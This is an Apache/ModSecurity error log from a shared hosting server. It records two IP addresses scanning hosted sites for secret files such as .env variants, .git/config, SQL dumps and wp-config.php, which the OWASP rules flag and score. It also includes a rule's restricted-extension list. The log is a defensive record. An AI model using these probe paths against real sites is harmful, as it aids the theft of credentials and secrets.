[Fri Jul 17 08:28:31.341727 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.354750 2026] [security2:error] [pid 2014308:tid 2014308] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaVwdFk8dCrY-oJNkdGgAAACA"]
[Fri Jul 17 08:28:31.355156 2026] [security2:error] [pid 2014308:tid 2014308] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaVwdFk8dCrY-oJNkdGgAAACA"]
[Fri Jul 17 08:28:31.355551 2026] [hostinglimits:warn] [pid 2014308:tid 2014308] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2014308) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.359306 2026] [security2:error] [pid 2014308:tid 2014308] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaVwdFk8dCrY-oJNkdGgAAACA"]
[Fri Jul 17 08:28:31.374879 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:31.382567 2026] [security2:error] [pid 2014279:tid 2014279] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaV0z_ZDvgWqiMlMbLXQAAAB0"]
[Fri Jul 17 08:28:31.382971 2026] [security2:error] [pid 2014279:tid 2014279] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaV0z_ZDvgWqiMlMbLXQAAAB0"]
[Fri Jul 17 08:28:31.383646 2026] [hostinglimits:warn] [pid 2014279:tid 2014279] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2014279) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.383836 2026] [security2:error] [pid 2014279:tid 2014279] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV0z_ZDvgWqiMlMbLXQAAAB0"]
[Fri Jul 17 08:28:31.389047 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.228.26.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "dataesite.lk"] [uri "/.env.backup"] [unique_id "almaV0gVnBK6wAv37w6ozQAAABQ"]
[Fri Jul 17 08:28:31.389308 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/.env.backup"] [unique_id "almaV0gVnBK6wAv37w6ozQAAABQ"]
[Fri Jul 17 08:28:31.389628 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/.env.backup"] [unique_id "almaV0gVnBK6wAv37w6ozQAAABQ"]
[Fri Jul 17 08:28:31.390216 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/.env.backup"] [unique_id "almaV0gVnBK6wAv37w6ozQAAABQ"]
[Fri Jul 17 08:28:31.402399 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaV5OFLENLI63GGOEKXAAAAAQ"]
[Fri Jul 17 08:28:31.402648 2026] [hostinglimits:warn] [pid 2014286:tid 2014286] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2014286) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.402918 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaV5OFLENLI63GGOEKXAAAAAQ"]
[Fri Jul 17 08:28:31.403069 2026] [hostinglimits:warn] [pid 1993659:tid 1993659] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(1993659) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.403254 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV5OFLENLI63GGOEKXAAAAAQ"]
[Fri Jul 17 08:28:31.423399 2026] [hostinglimits:warn] [pid 2008451:tid 2008451] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2008451) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.446318 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaV3t8zp89pALg8Q5lEQAAAA4"]
[Fri Jul 17 08:28:31.446657 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaV3t8zp89pALg8Q5lEQAAAA4"]
[Fri Jul 17 08:28:31.446887 2026] [hostinglimits:warn] [pid 1993573:tid 1993573] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(1993573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.447120 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV3t8zp89pALg8Q5lEQAAAA4"]
[Fri Jul 17 08:28:31.450077 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.488203 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaV1h1WDijTxd1xw5I_gAAAAc"]
[Fri Jul 17 08:28:31.488638 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaV1h1WDijTxd1xw5I_gAAAAc"]
[Fri Jul 17 08:28:31.488815 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.488969 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV1h1WDijTxd1xw5I_gAAAAc"]
[Fri Jul 17 08:28:31.492172 2026] [hostinglimits:warn] [pid 2014279:tid 2014279] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2014279) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.500659 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(jrdcback.ksoft.web.lk) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:31.511879 2026] [security2:error] [pid 2014286:tid 2014286] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/.env.local"] [unique_id "almaVx15lhZh2QtC5qEWLgAAAB8"]
[Fri Jul 17 08:28:31.512128 2026] [security2:error] [pid 2014286:tid 2014286] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/.env.local"] [unique_id "almaVx15lhZh2QtC5qEWLgAAAB8"]
[Fri Jul 17 08:28:31.512526 2026] [security2:error] [pid 2014286:tid 2014286] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/.env.local"] [unique_id "almaVx15lhZh2QtC5qEWLgAAAB8"]
[Fri Jul 17 08:28:31.649783 2026] [security2:error] [pid 1993573:tid 1993573] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/.env.staging"] [unique_id "almaV3t8zp89pALg8Q5lEgAAAA4"]
[Fri Jul 17 08:28:31.650128 2026] [security2:error] [pid 1993573:tid 1993573] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/.env.staging"] [unique_id "almaV3t8zp89pALg8Q5lEgAAAA4"]
[Fri Jul 17 08:28:31.650643 2026] [security2:error] [pid 1993573:tid 1993573] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/.env.staging"] [unique_id "almaV3t8zp89pALg8Q5lEgAAAA4"]
[Fri Jul 17 08:28:31.724749 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/.env.dev"] [unique_id "almaV1h1WDijTxd1xw5I_wAAAAc"]
[Fri Jul 17 08:28:31.725073 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/.env.dev"] [unique_id "almaV1h1WDijTxd1xw5I_wAAAAc"]
[Fri Jul 17 08:28:31.725532 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/.env.dev"] [unique_id "almaV1h1WDijTxd1xw5I_wAAAAc"]
[Fri Jul 17 08:28:31.908754 2026] [ssl:error] [pid 2014279:tid 2014279] (70014)End of file found: [client 66.85.158.91:60330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:32.206247 2026] [security2:error] [pid 1993659:tid 1993659] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/wp-config.php"] [unique_id "almaWJOFLENLI63GGOEKXgAAAAQ"]
